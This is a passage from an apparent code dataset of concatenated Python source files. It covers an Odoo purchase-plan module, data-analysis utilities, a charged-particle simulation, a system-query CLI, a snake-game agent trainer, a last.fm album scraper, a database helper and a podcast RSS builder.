DEFAULT_SERVER_DATE_FORMAT, DEFAULT_SERVER_DATETIME_FORMAT\nfrom openerp import SUPERUSER_ID\nimport openerp.addons.decimal_precision as dp\n\n_logger = logging.getLogger(__name__)\n\nclass qdodoo_plan_purchase_order(models.Model):\n \"\"\"\n 计划转采购单\n \"\"\"\n _name = 'qdodoo.plan.purchase.order' # 模型名称\n _description = 'qdodoo.plan.purchase.order' # 模型描述\n _order = 'id desc'\n _inherit = ['mail.thread']\n\n name = fields.Char(u'单号',copy=False, default='New')\n location_name = fields.Many2one('stock.warehouse',u'仓库', required=True)\n company_id = fields.Many2one('res.company',u'公司')\n create_date_new = fields.Datetime(u'创建日期')\n minimum_planned_date = fields.Date(u'预计日期')\n location_id = fields.Many2one('stock.location',u'入库库位')\n order_line = fields.One2many('qdodoo.plan.purchase.order.line', 'order_id', u'产品明细',required=True)\n import_file = fields.Binary(string=\"导入的Excel文件\")\n state = fields.Selection([('draft',u'草稿'),('sent',u'待确认'),('apply',u'待审批'),('confirmed',u'转换采购单'),('done',u'完成')],u'状态',track_visibility='onchange')\n origin = fields.Many2one('qdodoo.plan.purchase.order',u'源单据')\n notes = fields.Text(u'采购单号')\n notes_new = fields.Text(u'备注')\n product_manager_tfs = fields.Many2one('res.users',u'产品经理')\n\n\n _defaults = {\n 'minimum_planned_date': datetime.now().date(),\n 'create_date_new': datetime.now(),\n 'state': 'draft',\n 'company_id': lambda self, cr, uid, ids:self.pool.get('res.users').browse(cr, uid, uid).company_id.id,\n }\n\n # 退回\n def btn_cancel_confirmed(self, cr, uid, ids, context=None):\n line_lst = []\n log = 0\n all_line_lst = []\n for line in self.browse(cr, uid, ids[0]).order_line:\n all_line_lst.append(line.id)\n if line.is_cancel:\n line_lst.append(line.id)\n else:\n log += 1\n plan_line = self.pool.get('qdodoo.plan.purchase.order.line')\n if log:\n res_id = self.copy(cr, uid, ids[0],{'state':'sent','origin':ids[0]})\n for line_id in line_lst:\n plan_line.copy(cr, uid, line_id,{'order_id':res_id,'is_cancel':False})\n plan_line.unlink(cr, uid, line_lst)\n return True\n else:\n plan_line.write(cr, uid, all_line_lst, {'is_cancel':False})\n return self.write(cr, uid, ids, {'state':'sent'})\n\n # 退回\n def btn_cancel_draft(self, cr, uid, ids, context=None):\n line_lst = []\n log = 0\n all_line_lst = []\n for line in self.browse(cr, uid, ids[0]).order_line:\n all_line_lst.append(line.id)\n if line.is_cancel:\n line_lst.append(line.id)\n else:\n log += 1\n plan_line = self.pool.get('qdodoo.plan.purchase.order.line')\n if log:\n res_id = self.copy(cr, uid, ids[0],{'state':'draft','origin':ids[0]})\n for line_id in line_lst:\n plan_line.copy(cr, uid, line_id,{'order_id':res_id,'is_cancel':False})\n plan_line.unlink(cr, uid, line_lst)\n return True\n else:\n plan_line.write(cr, uid, all_line_lst, {'is_cancel':False})\n return self.write(cr, uid, ids, {'state':'draft'})\n\n # 退回\n def btn_cancel_approve(self, cr, uid, ids, context=None):\n line_lst = []\n log = 0\n all_line_lst = []\n for line in self.browse(cr, uid, ids[0]).order_line:\n all_line_lst.append(line.id)\n if line.is_cancel:\n line_lst.append(line.id)\n else:\n log += 1\n plan_line = self.pool.get('qdodoo.plan.purchase.order.line')\n if log:\n res_id = self.copy(cr, uid, ids[0],{'state':'apply','origin':ids[0]})\n for line_id in line_lst:\n plan_line.copy(cr, uid, line_id,{'order_id':res_id,'is_cancel':False})\n plan_line.unlink(cr, uid, line_lst)\n return True\n else:\n plan_line.write(cr, uid, all_line_lst, {'is_cancel':False})\n return self.write(cr, uid, ids, {'state':'apply'})\n\n # 导入方法\n def btn_import_data(self, cr, uid, ids, context=None):\n wiz = self.browse(cr, uid, ids[0])\n if wiz.import_file:\n try:\n excel = xlrd.open_workbook(file_contents=base64.decodestring(wiz.import_file))\n except:\n raise osv.except_osv(_(u'提示'), _(u'请使用xls文件进行上传'))\n product_info = excel.sheet_by_index(0)\n product_obj = self.pool.get('product.product')\n purchase_line_obj = self.pool.get('qdodoo.plan.purchase.order.line')\n lst = []\n for obj in range(1, product_info.nrows):\n val = {}\n # 获取产品编号\n default_code = product_info.cell(obj, 0).value\n if not default_code:\n raise osv.except_osv(_(u'提示'), _(u'第%s行,产品编号不能为空')%obj)\n # 获取计划日期\n if product_info.cell(obj, 2).value:\n plan_date = datetime.strptime(product_info.cell(obj, 2).value, '%Y-%m-%d')\n else:\n plan_date = datetime.now().date()\n # 获取产品数量\n product_qty = product_info.cell(obj, 3).value\n if not product_qty:\n raise osv.except_osv(_(u'提示'), _(u'第%s行,产品数量不能为空')%obj)\n # 查询系统中对应的产品id\n product_id = product_obj.search(cr, uid,\n [('default_code', '=', default_code), ('company_id', '=', wiz.company_id.id)])\n if not product_id:\n raise osv.except_osv(_(u'提示'), _(u'%s公司没有编号为%s的产品') % (wiz.company_id.name,default_code))\n product = product_obj.browse(cr, uid, product_id[0])\n val['product_id'] = product.id\n val['price_unit'] = product.standard_price\n val['name'] = product.name\n val['plan_date_jh'] = plan_date\n val['qty_jh'] = product_qty\n val['uom_id'] = product.uom_id.id\n val['order_id'] = wiz.id\n lst.append(val)\n for res in lst:\n purchase_line_obj.create(cr, uid, res)\n self.write(cr, uid, wiz.id, {'import_file': ''})\n else:\n raise osv.except_osv(_(u'提示'), _(u'请先上传模板'))\n\n # 获取序列号\n def create(self, cr, uid, vals, context=None):\n if vals.get('name', 'New') == 'New':\n vals['name'] = self.pool.get('ir.sequence').get( cr, uid, 'qdodoo.plan.purchase.order') or '/'\n return super(qdodoo_plan_purchase_order, self).create(cr, uid, vals, context=context)\n\n # 获取目的库位\n def change_location_id(self, cr, uid, ids, location_id, context=None):\n if location_id:\n warehouse = self.pool.get('stock.warehouse').browse(cr, uid, location_id, context=context)\n return {'value': {'location_id': warehouse.lot_stock_id.id}}\n return {}\n\n @api.multi\n # 提交\n def btn_draft_confirmed(self):\n dict_user = {} #{产品经理:[计划明细]}\n for line in self.order_line:\n line.write({'state':'sent'})\n if line.product_id.product_manager_tfs in dict_user:\n dict_user[line.product_id.product_manager_tfs].append(line)\n else:\n dict_user[line.product_id.product_manager_tfs] = [line]\n if len(dict_user) == 1:\n self.write({'state':'sent'})\n return True\n else:\n ids_list = []\n for key, value in dict_user.items():\n res_id = self.copy({'product_manager_tfs':key.id,'origin':'','notes':'','state':'sent'})\n for line_1 in value:\n line_1.write({'order_id':res_id.id})\n ids_list.append(res_id.id)\n self.unlink()\n\n result = self.env['ir.model.data'].get_object_reference( 'qdodoo_plan_purchase_order', 'view_tree_qdodoo_plan_purchase_order')\n view_id = result and result[1] or False\n result_form = self.env['ir.model.data'].get_object_reference('qdodoo_plan_purchase_order', 'view_form_qdodoo_plan_purchase_order')\n view_id_form = result_form and result_form[1] or False\n return {\n 'name': _('计划转采购单'),\n 'view_type': 'form',\n \"view_mode\": 'tree,form',\n 'res_model': 'qdodoo.plan.purchase.order',\n 'type': 'ir.actions.act_window',\n 'domain':[('id','in',ids_list)],\n 'views': [(view_id,'tree'),(view_id_form,'form')],\n 'view_id': [view_id],\n }\n\n # 确认\n def btn_confirmed(self, cr, uid, ids, context=None):\n line_obj = self.pool.get('qdodoo.plan.purchase.order.line')\n line_id = line_obj.search(cr, uid, [('order_id','=',ids[0])])\n lines = line_obj.browse(cr, uid, line_id)\n #确认时验证是否无供应商信息\n for line in lines:\n if not line.partner_id:\n raise osv.except_osv(_(u'错误'), _(u'明细行无供应商信息,请修正!'))\n line_obj.write(cr, uid, line_id, {'state':'apply'})\n return self.write(cr, uid, ids, {'state':'apply'})\n\n # 审批\n def btn_approve(self, cr, uid, ids, context=None):\n line_obj = self.pool.get('qdodoo.plan.purchase.order.line')\n line_id = line_obj.search(cr, uid, [('order_id','=',ids[0])])\n line_obj.write(cr, uid, line_id, {'state':'confirmed'})\n return self.write(cr, uid, ids, {'state':'confirmed'})\n\n # 转换采购单\n def btn_confirmed_done(self, cr, uid, ids, context=None):\n purchase_obj = self.pool.get('purchase.order')\n partner_obj = self.pool.get('res.partner')\n purchase_line_obj = self.pool.get('purchase.order.line')\n for obj in self.browse(cr, uid, ids):\n # 循环处理产品明细{(日期,供应商):[(产品,数量,单价,备注,单位id,产品经理)]}\n purchase_id = {}\n for line in obj.order_line:\n # 组织采购订单数据\n # 判断是否是同一到货日期和供应商\n if (line.plan_date_jh,line.partner_id.id) in purchase_id:\n # 如果存在重复的产品\n all = purchase_id[(line.plan_date_jh,line.partner_id.id)][:]\n log = False\n for key in all:\n if line.product_id.id == key[0]:\n log = True\n key_new = key\n purchase_id[(line.plan_date_jh,line.partner_id.id)].remove(key)\n # if line.qty_jh > line.qty:\n # purchase_id[(line.plan_date,line.partner_id.id)].append((key_new[0], key_new[1]+line.qty_jh,key_new[2],key_new[3],key_new[4]))\n # else:\n purchase_id[(line.plan_date_jh,line.partner_id.id)].append((key_new[0], key_new[1]+line.qty,key_new[2],key_new[3],key_new[4],key_new[5]))\n break\n if not log:\n # if line.qty_jh > line.qty:\n # purchase_id[(line.plan_date,line.partner_id.id)].append((line.product_id.id ,line.qty_jh, line.price_unit,line.name,line.uom_id.id))\n # else:\n # purchase_id[(line.plan_date,line.partner_id.id)].append((line.product_id.id ,line.qty, line.price_unit,line.name,line.uom_id.id))\n purchase_id[(line.plan_date_jh,line.partner_id.id)].append((line.product_id.id ,line.qty_jh, line.price_unit,line.name,line.uom_id.id,line.product_manager.id))\n\n else:\n # if line.qty_jh > line.qty:\n # purchase_id[(line.plan_date,line.partner_id.id)] = [(line.product_id.id ,line.qty_jh, line.price_unit,line.name,line.uom_id.id)]\n # else:\n # purchase_id[(line.plan_date,line.partner_id.id)] = [(line.product_id.id ,line.qty, line.price_unit,line.name,line.uom_id.id)]\n\n purchase_id[(line.plan_date_jh,line.partner_id.id)] = [(line.product_id.id ,line.qty_jh, line.price_unit,line.name,line.uom_id.id,line.product_manager.id)]\n notes = ''\n # 创建采购单\n for key_line,value_line in purchase_id.items():\n # picking_type_ids = self.pool.get('stock.picking.type').search(cr, uid, [('code', '=', 'incoming'), ('warehouse_id.company_id', '=', obj.company_id.id)])\n # if not picking_type_ids:\n # picking_type_ids = self.pool.get('stock.picking.type').search(cr, uid, [('code', '=', 'incoming'), ('warehouse_id', '=', False)])\n picking_type_id = obj.location_name.in_type_id\n res_id = purchase_obj.create(cr, uid, {'pricelist_id':partner_obj.browse(cr, uid, key_line[1]).property_product_pricelist_purchase.id,'plan_id':obj.id,'partner_id':key_line[1],'location_name':obj.location_name.id,\n 'date_order':fields.Datetime.now(),'company_id':obj.company_id.id,'picking_type_id':picking_type_id.id,'notes':obj.notes_new,\n 'location_id':picking_type_id.default_location_dest_id.id,'minimum_planned_date':obj.minimum_planned_date,'deal_date':key_line[0],\n })\n notes = notes + purchase_obj.browse(cr, uid, res_id).name + ';'\n # 创建采购订单明细\n for line_va in value_line:\n purchase_line_obj.create(cr, uid, {'name':line_va[3],'order_id':res_id,'product_id':line_va[0],'date_planned':key_line[0],\n 'company_id':obj.company_id.id,'product_qty':line_va[1],'product_uom':line_va[4],\n 'price_unit':line_va[2],'product_manager':line_va[5]})\n return self.write(cr, uid, ids, {'state':'done','notes':notes})\n\n\nclass qdodoo_purchase_order_tfs(models.Model):\n _inherit = 'purchase.order'\n\n plan_id = fields.Many2one('qdodoo.plan.purchase.order',u'计划单')\n\nclass qdodoo_plan_purchase_order_line(models.Model):\n _name = 'qdodoo.plan.purchase.order.line'\n\n order_id = fields.Many2one('qdodoo.plan.purchase.order',u'计划转采购单')\n product_id = fields.Many2one('product.product',u'产品',required=True)\n plan_date_jh = fields.Date(u'到货日期(计划)',required=True)\n plan_date = fields.Date(u'到货日期(采购)')\n name = fields.Char(u'备注')\n price_unit = fields.Float(u'单价', digits = dp.get_precision('Product Price'))\n qty_jh = fields.Float(u'数量(计划)',required=True)\n qty = fields.Float(u'数量(采购)')\n uom_id = fields.Many2one('product.uom',u'单位')\n partner_id = fields.Many2one('res.partner',u'供应商')\n state = fields.Selection([('draft',u'草稿'),('sent',u'待确认'),('apply',u'待审批'),('confirmed',u'转换采购单'),('done',u'完成')],u'状态', default='draft')\n colors = fields.Char(string=u'颜色', compute='_get_colors')\n is_cancel = fields.Boolean(u'需要回退', default=False)\n difference_num = fields.Float(u'计划和采购差异数量',compute='_get_difference_num')\n is_split = fields.Boolean(u'已拆分过')\n product_manager = fields.Many2one('res.users',u'产品经理')\n\n def _get_difference_num(self):\n for ids in self:\n ids.difference_num = ids.qty_jh - ids.qty\n\n # 获取颜色\n def _get_colors(self):\n for ids in self:\n if ids.plan_date_jh != ids.plan_date or ids.qty_jh != ids.qty:\n ids.colors = 'red'\n\n # 带出默认值\n def create(self, cr, uid, vals, context=None):\n if not vals.get('plan_date') and vals.get('plan_date_jh'):\n vals['plan_date'] = vals.get('plan_date_jh')\n if not vals.get('qty') and vals.get('qty_jh'):\n vals['qty'] = vals.get('qty_jh')\n return super(qdodoo_plan_purchase_order_line, self).create(cr, uid, vals, context=context)\n\n #比较采购数量跟计划数量\n def onchange_qty(self, cr, uid, ids, qty_jh, qty, context=None):\n res={}\n #res = self.onchange_product_id(cr, uid, ids, product_id, partner_id, qty, uom_id, company_id, context=context)\n if qty> qty_jh and qty_jh != 0:\n warning_msgs = \"采购数量%d大于计划数量%d,请修正!\" % (qty, qty_jh)\n warning = {\n 'title': _('Configuration Error!'),\n 'message' : warning_msgs\n }\n res.update({'warning': warning})\n return res\n\n # 根据产品和供应商修改产品价格\n def onchange_product_id(self, cr, uid, ids, product_id, partner_id, qty, uom_id, company_id, context=None):\n product_pricelist = self.pool.get('product.pricelist')\n partner_obj = self.pool.get('res.partner')\n users_obj = self.pool.get('res.users')\n product_obj = self.pool.get('product.product')\n if ids:\n obj = self.browse(cr, uid, ids[0])\n res = {}\n res['value'] = {}\n date_order = datetime.now()\n if product_id:\n # 查询一个公司信息正确的用户\n # 查询有销售经理权限的id\n sql = \"\"\" select uid from res_groups_users_rel where gid = 10\"\"\"\n cr.execute(sql)\n uid_ids = [r[0] for r in cr.fetchall()]\n users_ids = users_obj.search(cr, uid, [('company_id','=',company_id),('id','in',uid_ids)])\n if not users_ids:\n raise osv.except_osv(_(u'错误'), _(u'对应公司缺少销售经理!'))\n product_obj = self.pool.get('product.product').browse(cr, users_ids[0], product_id, context=context)\n # 获取产品对应的供应商和送货周期\\数量\n purchase_dict = {}\n purchase_num_dict = {}\n #唯一供应商默认填充到明细\n if len(product_obj.seller_ids) == 1:\n # 根据价格表有效期判断是否填充供应商\n date_end = product_obj.seller_ids.name.property_product_pricelist_purchase.version_id.date_end\n if date_end and datetime.strptime(date_end,'%Y-%m-%d'):\n res['value']['partner_id'] = product_obj.seller_ids.name.id\n\n #填充产品经理\n if product_obj.product_manager_tfs:\n res['value']['product_manager'] = product_obj.product_manager_tfs.id\n for line in product_obj.seller_ids:\n purchase_dict[line.name.id] = line.delay\n purchase_num_dict[line.name.id] = line.min_qty\n if partner_id:\n pricelist_id = partner_obj.browse(cr, users_ids[0], partner_id).property_product_pricelist_purchase.id\n date_order_str = date_order.strftime(DEFAULT_SERVER_DATE_FORMAT)\n price = product_pricelist.price_get(cr, users_ids[0], [pricelist_id],\n product_id, qty or 1.0, partner_id or False, {'uom': uom_id, 'date': date_order_str})[pricelist_id]\n res['value']['price_unit'] = price\n res['value']['plan_date'] = datetime.now().date() + timedelta(days=purchase_dict.get(partner_id,0))\n res['value']['qty'] = purchase_num_dict.get(partner_id, qty)\n else:\n res['value']['price_unit'] = 0.0\n res['value']['name'] = product_obj.product_tmpl_id.name\n res['value']['uom_id'] = product_obj.uom_id.id\n return res\n else:\n return {}\n\n # 拆单\n @api.multi\n def split_quantities(self):\n\n self.copy({'qty':self.difference_num,'qty_jh':self.difference_num,'state':'sent'})\n self.write({'qty_jh':self.qty})\n view_ref = self.env['ir.model.data'].get_object_reference('qdodoo_plan_purchase_order', 'view_form_qdodoo_plan_purchase_order')\n view_id = view_ref and view_ref[1] or False,\n view_ref_tree = self.env['ir.model.data'].get_object_reference('qdodoo_plan_purchase_order', 'view_tree_qdodoo_plan_purchase_order')\n view_id_tree = view_ref_tree and view_ref_tree[1] or False,\n return {\n 'type': 'ir.actions.act_window',\n 'name': _('计划转采购'),\n 'res_model': 'qdodoo.plan.purchase.order',\n 'res_id': self.order_id.id,\n 'view_type': 'form',\n 'view_mode': 'form,tree',\n 'views': [(view_id,'form'),(view_id_tree,'tree')],\n 'view_id': view_id,\n }\n\nclass qdodoo_res_partner_inherit(models.Model):\n\n _inherit = 'res.partner'\n\n def name_search(self, cr, uid, name, args=None, operator='ilike', context=None, limit=100):\n if args is None:\n args = []\n if context is None:\n context={}\n if context.get('qdodoo_log'):\n supplierinfo_obj = self.pool.get('product.supplierinfo')\n product_obj = self.pool.get('product.product')\n\n supplierinfo_ids = supplierinfo_obj.search(cr, uid, [('product_tmpl_id','=',product_obj.browse(cr, uid, context.get('product_id')).product_tmpl_id.id)])\n partner_list = []\n for supplierinfo_id in supplierinfo_obj.browse(cr, uid, supplierinfo_ids):\n pricelists = supplierinfo_id.name.property_product_pricelist_purchase.version_id\n if pricelists and len(pricelists) >= 1:\n for pricelist in pricelists:\n if pricelist.date_end and datetime.strptime(pricelist.date_end,'%Y-%m-%d') > datetime.today():\n partner_list.append(supplierinfo_id.name.id)\n args.append(('id','in',partner_list))\n return super(qdodoo_res_partner_inherit, self).name_search(cr, uid, name, args=args, operator=operator, context=context, limit=limit)\n\nclass qdodoo_product_template(models.Model):\n \"\"\"\n 产品模板中增加产品经理\n \"\"\"\n _inherit = 'product.template'\n\n product_manager_tfs = fields.Many2one('res.users',u'产品经理')\n\nclass purchase_order_line(models.Model):\n \"\"\"\n 采购订单明细增加产品经理字段\n \"\"\"\n _inherit = 'purchase.order.line'\n\n product_manager = fields.Many2one('res.users', u'产品经理')","sub_path":"qdodoo_plan_purchase_order/qdodoo_plan_purchase_order.py","file_name":"qdodoo_plan_purchase_order.py","file_ext":"py","file_size_in_byte":23454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"348414834","text":"from collections import Counter\nimport pandas as pd\nimport numpy as np\n\n\ndef counter(dataset):\n \"\"\"Account for the classes in the data\n Args:\n dataset (list, numpy)\n \"\"\"\n keys = Counter(dataset).keys()\n values = Counter(dataset).values()\n key_df = pd.DataFrame(data=keys, columns=[\"key\"])\n value_df = pd.DataFrame(data=values, columns=[\"quntity\"])\n percent_df = pd.DataFrame([i / len(dataset) * 100.0 for i in values], columns=[\"percentage\"])\n\n df = pd.concat([key_df, value_df, percent_df], axis=1)\n\n print(df.round(3))\n\n\ndef get_outlier(data):\n \"\"\"\n Args:\n data (list or numpy): one feature of dataset\n Returns:\n list of outliers' index\n \"\"\"\n tmp = np.percentile(data, (25, 50, 75), interpolation='midpoint')\n Q1 = tmp[0]\n Q2 = tmp[1]\n Q3 = tmp[2]\n QD = (Q3 - Q1) / 2\n max_value = Q3 + QD * 3\n min_value = Q1 - QD * 3\n outlier_idx = []\n\n for idx, d in enumerate(data):\n if d > max_value or d < min_value:\n outlier_idx.append(idx)\n return outlier_idx\n","sub_path":"task2/src/analysis/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"71821655","text":"import numpy as np\nimport astropy.units as u\n\n\nclass Electron:\n \n def __init__(self, x, y, z, vx, vy, vz):\n \n self.x = x\n self.y = y\n self.z = z\n \n self.vx = vx\n self.vy = vy\n self.vz = vz\n \n self.mass = 9.10938356e-31 * u.kg\n self.charge = 1.60217662e-19 * u.C\n \n def updateVel(self, ax, ay, az, dt):\n \n self.vx += ax*dt\n self.vy += ay*dt\n self.vz += az*dt\n \n def updatePosn(self, dt):\n \n self.x += self.vx*dt\n self.y += self.vy*dt\n self.z += self.vz*dt\n \n def findAccel(self, bx, by, bz):\n \n ax = self.vy*bz - by*self.vz\n ay = self.vx*bz - self.vz*bx\n az = self.vx*by - bx*self.vy\n \n ax *= self.charge / self.mass\n ay *= self.charge / self.mass\n az *= self.charge / self.mass\n \n ax = ax.to('m/s^2')\n ay = ay.to('m/s^2')\n az = az.to('m/s^2')\n \n return ax,ay,az\n\n\ndef genElec(num):\n \n x = np.random.uniform(-5,5,num) * u.mm\n y = np.random.uniform(-5,5,num) * u.mm\n z = np.zeros(num) * u.mm\n \n vx = np.zeros(num) * u.m/u.s\n vy = np.zeros(num) * u.m/u.s\n vz = 100*np.ones(num) * u.m/u.s\n \n return Electron(x,y,z,vx,vy,vz)\n\ndef getB(e):\n \n num = len(e.x)\n bx = np.zeros(num)\n by = np.zeros(num)\n bz = np.zeros(num)\n\n infield = np.logical_and(e.z > 10*u.mm, e.z < 15 * u.mm)\n bx[infield] = 1\n by[infield] = 0\n bz[infield] = 0\n \n bx = bx << u.gauss\n by = by << u.gauss\n bz = bz << u.gauss\n \n return (bx,by,bz)\n\n\ne = genElec(100)\ndt = 1 * u.us\n\nfor i in range(105):\n \n bx, by, bz = getB(e)\n \n ax, ay, az = e.findAccel(bx,by,bz)\n \n e.updateVel(ax, ay, az, dt)\n e.updatePosn(dt)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Mag_Broom.py","file_name":"Mag_Broom.py","file_ext":"py","file_size_in_byte":1861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"8661904","text":"#!/usr/bin/env python3\nfrom paspymod.funct_tools import query_request, other_requests\nfrom paspymod.logger import logging as log\nimport pprint\nimport argparse\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Get a system or all systems in tenant.\")\n parser.add_argument('-n','--Name', type=str, required=False, help= 'FQDN of the system')\n args = parser.parse_args()\n# set this up as its own fucking module library so that the return function can be imported\nclass get_system:\n def __init__(self):\n log.info('Querying system(s)....')\n if args.Name == None:\n self.query = query_request(sql = \"\"\"SELECT Server.ComputerClass, Server.FQDN, Server.HealthStatus, Server.ID, Server.LastHealthCheck, Server.LastState, \\\n Server.Name, Server.SessionType FROM Server WHERE Server.FQDN Like '%'\"\"\").parsed_json\n else:\n self.query = query_request(sql = \"\"\"SELECT Server.ComputerClass, Server.FQDN, Server.HealthStatus, Server.ID, Server.LastHealthCheck, Server.LastState, \\\n Server.Name, Server.SessionType FROM Server WHERE UPPER(Server.FQDN) = '{0}'\"\"\".format(args.Name.upper())).parsed_json\n if self.query[\"Result\"][\"Count\"] == 0:\n log.error(\"System not found\")\n return None\n elif self.query[\"Result\"][\"Count\"] > 0:\n log.info(\"System(s) found\")\n pp = pprint.PrettyPrinter(indent=4)\n for i in range(self.query[\"Result\"][\"Count\"]):\n self.sys_dict = {\n 'Name' : self.query[\"Result\"][\"Results\"][i][\"Row\"]['Name'],\n 'ID' : self.query[\"Result\"][\"Results\"][i][\"Row\"]['ID'],\n 'Session' : self.query[\"Result\"][\"Results\"][i][\"Row\"]['SessionType'],\n 'Computer Class' : self.query[\"Result\"][\"Results\"][i][\"Row\"]['ComputerClass'],\n 'Health Check' :self.query[\"Result\"][\"Results\"][i][\"Row\"]['HealthCheck'],\n 'LastHealthCheck' : self.query[\"Result\"][\"Results\"][i][\"Row\"]['LastHealthCheck'],\n 'LastState' : self.query[\"Result\"][\"Results\"][i][\"Row\"]['LastState']\n }\n pp.pprint(self.sys_dict)\n #maybe trash as this is not valid in a CL arg. More of an SDK/Module\n @property\n def dict_sys(self):\n return self.sys_dict\n\nget_system()\n \n","sub_path":"systems/get_system.py","file_name":"get_system.py","file_ext":"py","file_size_in_byte":2398,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"520373475","text":"import numpy as np\nnp.random.seed(19881220) # Has to be called before import keras stuff\nimport collections\nimport random\nfrom curses import KEY_RIGHT, KEY_LEFT, KEY_UP, KEY_DOWN\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--target-network-update-frequency', '-t', dest='target_network_update_frequency', default=40000, type=int)\nparser.add_argument('--final-exploration-frame', '-e', dest='final_exploration_frame', default=250000, type=int)\nparser.add_argument('--replay-start-size', '-r', dest='replay_start_size', default=50000, type=int)\nparser.add_argument('--update-frequency', '-u', dest='update_frequency', default=1, type=int)\nparser.add_argument('--model', '-m', default=None)\nparser.add_argument('--feedback-frequency', '-f', dest='feedback_frequency', default=100, type=int)\nparser.add_argument('--save-frequency', '-s', dest='save_frequency', default=1250000, type=int)\nparser.add_argument('--training-duration', dest='training_duration', default=10000000, type=int)\nargs = parser.parse_args()\n\n# The importation of keras modules, or module importing keras, is taken care of here.\n# This is because this importation takes several seconds, and is cumbersome when the user\n# just wants to run the command line with the -h option\nprint('Importing remaining modules...')\nimport snake\nfrom keras import layers, models, regularizers, optimizers\n\n# Test pipeline\nprint('##### Test pipeline ######')\n_, snake_pos, food = snake.init_game()\ndummy_filepath = 'dummy.h5'\nagent = snake.Agent()\noutput1 = agent.play_greedy(snake_pos, food)\nagent.save(dummy_filepath)\n\nagent = snake.Agent(dummy_filepath)\noutput2 = agent.play_greedy(snake_pos, food)\nassert output1 == output2\nprint('##### Pipeline OK ######')\n\nagent = snake.Agent(target_network_update_frequency=args.target_network_update_frequency,\n final_exploration_frame=args.final_exploration_frame,\n replay_start_size=args.replay_start_size,\n update_frequency=args.update_frequency,\n model_filepath=args.model)\nagent.train(feedback_frequency=args.feedback_frequency, save_frequency=args.save_frequency, training_duration=args.training_duration)\nprint('Done')\n","sub_path":"train_snake_agent.py","file_name":"train_snake_agent.py","file_ext":"py","file_size_in_byte":2220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"267781222","text":"import json\nimport requests\nfrom bs4 import BeautifulSoup\n\n\nclass AlbumsParser:\n def __init__(self, artist_name):\n self.artist = artist_name\n # print(artist_name)\n\n def to_json(self):\n with open(f'{self.artist}.json', \"w\") as file:\n file.write((json.dumps(self.fetch_albums(), indent=2)))\n print(self.fetch_albums)\n\n def fetch_albums(self):\n albums = []\n page = self.get_albums_page()\n for link in self.fetch_albums_links(page):\n #print(link)\n albums.append(self.fetch_album(self.get_album_page(link)))\n #print(albums)\n return albums\n\n def get_albums_page(self, page_number: int = 1):\n album_page = requests.get(\n f'https://www.last.fm/music/{self.artist}/'\n f'+albums?page={page_number}').text\n return album_page\n\n @staticmethod\n def get_album_page(link: str):\n return requests.get(link).text\n\n @staticmethod\n def fetch_albums_links(albums_page: str):\n soup = BeautifulSoup(albums_page, 'html.parser')\n section = soup.find('section', {'id': 'artist-albums-section'})\n for a in section.findAll('a', {'class': 'link-block-target'}):\n yield f\"https://www.last.fm{a['href']}\"\n\n @staticmethod\n def fetch_album(album_page: str) -> dict:\n soup = BeautifulSoup(album_page, 'html.parser')\n album_name = soup.find('h1').text\n year = soup.findAll('dd', {'class': 'catalogue-metadata-description'})[\n 1].text\n year = int(year.split(' ')[-1])\n artist_name = soup.find('span', {'itemprop': 'name'}).text\n songs = []\n duration_sum = 0.0\n for tr in soup.find_all('tr', {'class': 'chartlist-row'}):\n\n songs.append({\n 'name': tr.find(\n 'td', {'class': 'chartlist-name'}\n ).text.replace('\\n', '').strip(),\n 'artist': artist_name,\n 'duration': tr.find(\n 'td', {'class': 'chartlist-duration'}\n ).text.replace('\\n', '').strip(),\n 'year': year,\n 'album': album_name\n }\n )\n return {\n 'album': album_name,\n 'year': year,\n 'genre': None,\n 'artist': artist_name,\n 'duration_sum': duration_sum,\n 'songs': songs\n }\n\n\nparser = AlbumsParser('Nirvana')\nparser.to_json()\n","sub_path":"lesson1/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"164023476","text":"\"\"\"DatabaseConnection \n\nThe DatabaseConnection class is a service class which is used to make direct connections with database\n\n\"\"\"\nimport sqlite3\nimport os\n\nclass DatabaseConnection:\n \"\"\"This class is used to make direct connection with database. \n\n \"\"\"\n @staticmethod\n def connectWithDB():\n \"\"\"Making Connection with database.\n Note:\n This is static method so call this function by statically\n like DatabaseConnection.connectWithDB.\n Args:\n None\n Returns:\n database connection (object)\n \"\"\"\n\n try:\n currentFolder = os.path.dirname(os.path.dirname(__file__))\n rootPath, file = os.path.split(currentFolder)\n sqlliteFilePath = os.path.join(rootPath, 'db.sqlite3')\n con = sqlite3.connect(sqlliteFilePath)\n return con\n except:\n return None","sub_path":"core/services/DatabaseConnection.py","file_name":"DatabaseConnection.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"576154798","text":"from datetime import datetime\n\nCDN_BASE_URL = \"https://pod-cdn.timbrook.tech\"\n\n\ndef populate_episode(doc, data):\n item = doc.new_tag(\"item\")\n bare_tags = {\n \"title\": data[\"name\"],\n \"itunes:duration\": data[\"duration\"],\n \"description\": data[\"description\"],\n \"itunes:subtitle\": data[\"description\"],\n \"itunes:summary\": data[\"description\"],\n }\n for t, v in bare_tags.items():\n tag = doc.new_tag(t)\n tag.string = v if v is not None else \"\"\n item.append(tag)\n\n guid = doc.new_tag(\"guid\", isPermaLink=\"false\")\n guid.string = data[\"storage_key\"]\n item.append(guid)\n\n url = f\"{CDN_BASE_URL}/{data['storage_key']}\"\n\n item.append(doc.new_tag(\"enclosure\", url=url, type=\"audio/mpeg\"))\n\n return item\n\n\ndef populate_podcast(doc, channel, podcast):\n # basics\n bare_tags = {\n \"title\": 